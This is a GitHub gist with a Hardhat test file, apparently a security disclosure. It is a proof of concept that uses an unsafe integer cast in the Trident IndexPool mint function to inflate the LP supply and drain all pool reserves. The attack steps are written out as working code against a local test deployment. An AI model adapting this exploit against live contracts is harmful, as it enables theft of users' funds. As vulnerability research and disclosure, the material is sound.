-
-
Save MrToph/0c8b6b5ffac0673b2f72412cf4b0b099 to your computer and use it in GitHub Desktop.
POC of IndexPool.mint bug. Just replace the existing IndexPool.test.ts file contents with this one and then run `yarn test -- test/IndexPool.test.ts`
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//@ts-nocheck | |
import { BigNumber } from "@ethersproject/bignumber"; | |
import { ethers } from "hardhat"; | |
import { getBigNumber } from "./utilities"; | |
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signers"; | |
import { Contract, ContractFactory } from "ethers"; | |
import { expect } from "chai"; | |
import { calcOutByIn } from "@sushiswap/sdk"; | |
// ------------- PARAMETERS ------------- | |
// alice's usdt/usdc balance | |
const aliceUSDTBalance: BigNumber = getBigNumber("100000000000000000"); | |
const aliceUSDCBalance: BigNumber = getBigNumber("100000000000000000"); | |
// what each ERC20 is deployed with | |
const ERCDeployAmount: BigNumber = getBigNumber("1000000000000000000"); | |
// what gets minted for alice on the pool | |
const poolMintAmount: BigNumber = getBigNumber("1", 16); | |
// token weights passed into the pool | |
const tokenWeights: BigNumber[] = [getBigNumber("10"), getBigNumber("10")]; | |
// pool swap fee | |
const poolSwapFee: number | BigNumber = getBigNumber("1", 13); | |
// ------------- ------------- | |
function encodeSwapData( | |
tokenIn: string, | |
tokenOut: string, | |
recipient: string, | |
unwrapBento: boolean, | |
amountIn: BigNumber | number | |
): string { | |
return ethers.utils.defaultAbiCoder.encode( | |
["address", "address", "address", "bool", "uint256"], | |
[tokenIn, tokenOut, recipient, unwrapBento, amountIn] | |
); | |
} | |
describe("IndexPool test", function () { | |
let alice: SignerWithAddress, | |
feeTo: SignerWithAddress, | |
attacker: SignerWithAddress, | |
usdt: Contract, | |
usdc: Contract, | |
weth: Contract, | |
bento: Contract, | |
masterDeployer: Contract, | |
tridentPoolFactory: Contract, | |
router: Contract, | |
Pool: ContractFactory; | |
async function deployPool(): Promise<Contract> { | |
const ERC20 = await ethers.getContractFactory("ERC20Mock"); | |
const Bento = await ethers.getContractFactory("BentoBoxV1"); | |
const Deployer = await ethers.getContractFactory("MasterDeployer"); | |
const PoolFactory = await ethers.getContractFactory("IndexPoolFactory"); | |
const SwapRouter = await ethers.getContractFactory("TridentRouter"); | |
Pool = await ethers.getContractFactory("IndexPool"); | |
[alice, feeTo, attacker] = await ethers.getSigners(); | |
// deploy erc20's | |
weth = await ERC20.deploy("WETH", "WETH", ERCDeployAmount); | |
await weth.deployed(); | |
usdt = await ERC20.deploy("USDT", "USDT", ERCDeployAmount); | |
await usdt.deployed(); | |
usdc = await ERC20.deploy("USDC", "USDC", ERCDeployAmount); | |
await usdc.deployed(); | |
bento = await Bento.deploy(weth.address); | |
await bento.deployed(); | |
masterDeployer = await Deployer.deploy(17, feeTo.address, bento.address); | |
await masterDeployer.deployed(); | |
tridentPoolFactory = await PoolFactory.deploy(masterDeployer.address); | |
await tridentPoolFactory.deployed(); | |
router = await SwapRouter.deploy( | |
bento.address, | |
masterDeployer.address, | |
weth.address | |
); | |
await router.deployed(); | |
// Whitelist pool factory in master deployer | |
await masterDeployer.addToWhitelist(tridentPoolFactory.address); | |
// Whitelist Router on BentoBox | |
await bento.whitelistMasterContract(router.address, true); | |
// Approve BentoBox token deposits | |
await usdc.approve(bento.address, ERCDeployAmount); | |
await usdt.approve(bento.address, ERCDeployAmount); | |
// Make BentoBox token deposits | |
await bento.deposit( | |
usdc.address, | |
alice.address, | |
alice.address, | |
ERCDeployAmount, | |
0 | |
); | |
await bento.deposit( | |
usdt.address, | |
alice.address, | |
alice.address, | |
ERCDeployAmount, | |
0 | |
); | |
// Approve Router to spend 'alice' BentoBox tokens | |
await bento.setMasterContractApproval( | |
alice.address, | |
router.address, | |
true, | |
"0", | |
"0x0000000000000000000000000000000000000000000000000000000000000000", | |
"0x0000000000000000000000000000000000000000000000000000000000000000" | |
); | |
const tokens: string[] = | |
usdt.address.toUpperCase() < usdc.address.toUpperCase() | |
? [usdt.address, usdc.address] | |
: [usdc.address, usdt.address]; | |
// address[], uint256[], uint256 | |
const deployData = ethers.utils.defaultAbiCoder.encode( | |
["address[]", "uint256[]", "uint256"], | |
[tokens, tokenWeights, poolSwapFee] | |
); | |
let tx = await ( | |
await masterDeployer.deployPool(tridentPoolFactory.address, deployData) | |
).wait(); | |
const pool: Contract = await Pool.attach(tx.events[1].args.pool); | |
return pool; | |
} | |
it("pool mint does an unsafe cast leading to the pool being drained", async function () { | |
const pool: Contract = await deployPool(); | |
interface PoolInfo { | |
type: string; | |
reserve0: BigNumber; | |
reserve1: BigNumber; | |
fee: number; | |
} | |
const poolInfo: PoolInfo = { | |
type: "Weighted", | |
reserve0: aliceUSDTBalance, | |
reserve1: aliceUSDCBalance, | |
fee: poolSwapFee, | |
}; | |
// if reserve0, it requires amountIn = toMint / totalSupply * 1e18 = toMint / 100 | |
// compute the exact amount such that there is nothiing lying around in the pool | |
const transferredToPoolAmount = poolMintAmount.div(100); // 1e16 | |
await bento.transfer( | |
usdt.address, | |
alice.address, | |
pool.address, | |
transferredToPoolAmount | |
); | |
await bento.transfer( | |
usdc.address, | |
alice.address, | |
pool.address, | |
transferredToPoolAmount | |
); | |
await pool.mint( | |
ethers.utils.defaultAbiCoder.encode( | |
["address", "uint256"], | |
[alice.address, poolMintAmount] | |
) | |
); | |
let poolUSDTReserve = (await pool.records(usdt.address)).reserve; // 1e14 | |
let poolUSDCReserve = (await pool.records(usdc.address)).reserve; | |
const preAttackLPSupply = (await pool.totalSupply()); | |
expect(transferredToPoolAmount).eq(poolUSDTReserve); | |
expect(transferredToPoolAmount).eq(poolUSDCReserve); | |
// just so we know the initial total supply | |
console.log(`preAttackLPSupply = ${preAttackLPSupply.toString()}`) | |
// == ATTACK STARTS HERE == | |
// 1. Fund attacker | |
await bento.transfer( | |
usdt.address, | |
alice.address, | |
attacker.address, | |
aliceUSDTBalance | |
); | |
await bento.transfer( | |
usdc.address, | |
alice.address, | |
attacker.address, | |
aliceUSDCBalance | |
); | |
// 2. compute liquidity amount that will get truncated by the unsafe typecast and mint it | |
// toMint = 2**120 * totalSupply / BASE | |
let toMint = BigNumber.from(`2`).pow(120).mul(preAttackLPSupply).div( | |
getBigNumber(`1`, 18) | |
); | |
// toMint leads to a ratio that now maps to 0 when truncated to 120. but it will fail at MIN_BALANCE check | |
// so add 1e16 to the ratio, i.e., 1/100 of the current reserve must only be provided. important is only that amountIn ends up >= MIN_BALANCE | |
toMint = toMint.add(getBigNumber(`1`, 16)); | |
// provide 1/100th of reserve matching the ratio of 1e16/1e18 | |
// (this can actually even be lower due to another bug with alice having to provide a ratio of 1e20 when reserves are zero, but it is not independent of this attack) | |
const amountIn = poolUSDTReserve.div(`100`); | |
await bento.connect(attacker).transfer( | |
usdt.address, | |
attacker.address, | |
pool.address, | |
amountIn | |
); | |
await bento.connect(attacker).transfer( | |
usdc.address, | |
attacker.address, | |
pool.address, | |
amountIn | |
); | |
await pool.connect(attacker).mint( | |
ethers.utils.defaultAbiCoder.encode( | |
["address", "uint256"], | |
[attacker.address, toMint] | |
) | |
); | |
const postAttackLPSupply = (await pool.totalSupply()); | |
console.log(`postAttackLPSupply = ${postAttackLPSupply.toString()}`) | |
// 3. attacker has inflated the lp supply and can now burn everything getting all of the reserves | |
await pool.connect(attacker).transfer( | |
pool.address, | |
// that's the attacker's LP balance | |
postAttackLPSupply.sub(preAttackLPSupply) | |
); | |
await pool.connect(attacker).burn( | |
ethers.utils.defaultAbiCoder.encode( | |
// address recipient, bool unwrapBento, uint256 toBurn | |
["address", "bool", "uint256"], | |
[attacker.address, false, postAttackLPSupply.sub(preAttackLPSupply)] | |
) | |
); | |
let poolUSDTReserveNew = (await pool.records(usdt.address)).reserve; | |
let poolUSDCReserveNew = (await pool.records(usdc.address)).reserve; | |
console.log(`Pool lost ${poolUSDTReserveNew.sub(poolUSDTReserve).toString()} USDT`) | |
console.log(`Pool lost ${poolUSDCReserveNew.sub(poolUSDCReserve).toString()} USDC`) | |
// pool reserves after attack are actually completely 0, not a single wei left, haha | |
expect(poolUSDTReserveNew).eq(`0`); | |
expect(poolUSDCReserveNew).eq(`0`); | |
// attacker received all reserves | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment